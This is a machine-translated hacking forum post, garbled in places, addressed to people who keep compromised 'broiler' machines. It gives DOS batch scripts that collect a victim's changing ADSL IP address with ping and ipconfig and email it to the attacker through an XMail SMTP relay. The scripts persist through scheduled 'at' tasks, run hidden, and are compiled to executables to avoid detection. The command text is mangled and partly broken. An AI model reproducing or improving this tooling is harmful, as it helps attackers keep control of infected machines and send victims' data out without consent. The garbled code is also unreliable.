There are more and more ADSL Internet access. Others have changed once a number of IPs. This is a trouble for friends who need broilers. Generally considering the next Trojan. But now others' safety awareness has also increased. 3 days and 2 days anti-virus software upgrade, the days of the horse are not good. How can I develop ADSL's IP address? I can't write my own program, there is a needle for DOS, and I have studied it. I found that it is also achieved under DOS. Here first, you have to say 3 DOS commands 1: for can get a certain character segment from some text from a text: ping detection network connectivity 3: Findstr From a certain text to get a specific string is probably Let's take a website and save the results to a text file, get the IP address in this text via for. Judging whether this IP address is correct. Batch is as follows if exist ping.txt del ping.txtif exist ip1.txt del ip1.txtif exist ip2.txt del ip2.txtif exist ip3.txt del ip3.txtif exist notconn del notconn.txtif exist conn.txt del confintxt
Www.ddvip.net
>> ping.txtfor / f "tokens = 3 delims = [" %% I in (ping.txt) do @echo %% i >> ip1.txtfindstr / c :: ip1.txt> ip2.txtfor / f "Delims =: "%% I in (ip2.txt) do @echo %% i> ip3.txtif NOT IP3.TXT NET sent 127.0.0.1" You Computer NoConn "for / f" Delims = "%% I in (IP3 .txt) DO if %% I EQU 61.129.83.156 (Net Send 127.0.0.1 "You Computer Has Conn") The code above is only implemented whether it is connected to the Internet. One thing to explain that the requirements for the above code are to have a website with a ping (I chose www.ddvip.net here, and the final propaganda of the peas). If you want to judge ping, you can do it. Just change the FINDSTR / C :: ip1.txt> ip2.txt to FINDSTR / C:] ip1.txt> ip2.txt, then change it in the last FOR statement. I tested it. The second way is not very good. To achieve dynamic capture IP, you should use the XMail tool. Change Net Send to Xmail SMTP.21CN.COM
From@21cn.com
To@sina.com
IPConfigl.txt adds an ipconfig> ipconfig.txt. Make a planned task, if you still want to protect your own batch (prevent email disclosure). You can make batch processing into executables via the BToc compilation tool. There is a tip here. You can turn off the CMD to turn off back and turn off. Postscript: There is no technical content of the article, but also to provide a little idea. The code is also imperfect, mainly hidden. I always wanted to run CMD in the background, and let me contact me. E-mail:
Zbasic@126.com
Attached to a relatively perfect code: if exist ping del pingif exist ipconfig.txt del ipconfig.txtif exist ip1 del ip1if exist ip2 del ip2if exist ip3 del ip3if exist time del timeat 12:00 / Every: 1.batat 21:00 / Every: 1.batipconfig >> ipconfig.txtpingwww.ddvip.net
>> PingTime / T> Timefor / F "Tokens =" %% I IN (TIME) DO AT %% I / EVERY: 1.BATFOR / F "tokens = 3 Delims = [" %% I IN (ping) do @ Echo %% I >> IP1FINDSTR / C :: IP1> ip2for / f "delims =:" %% i in (ip2) do @echo %% i> ip3if not exist ip3 exitFor / f "delims =" %% i in (IP3) DO IF %% I EQU 61.129.83.156 (Xmail SMTP.21CN.COM
From@21cn.com
To@sina.com
ipconfig.txt)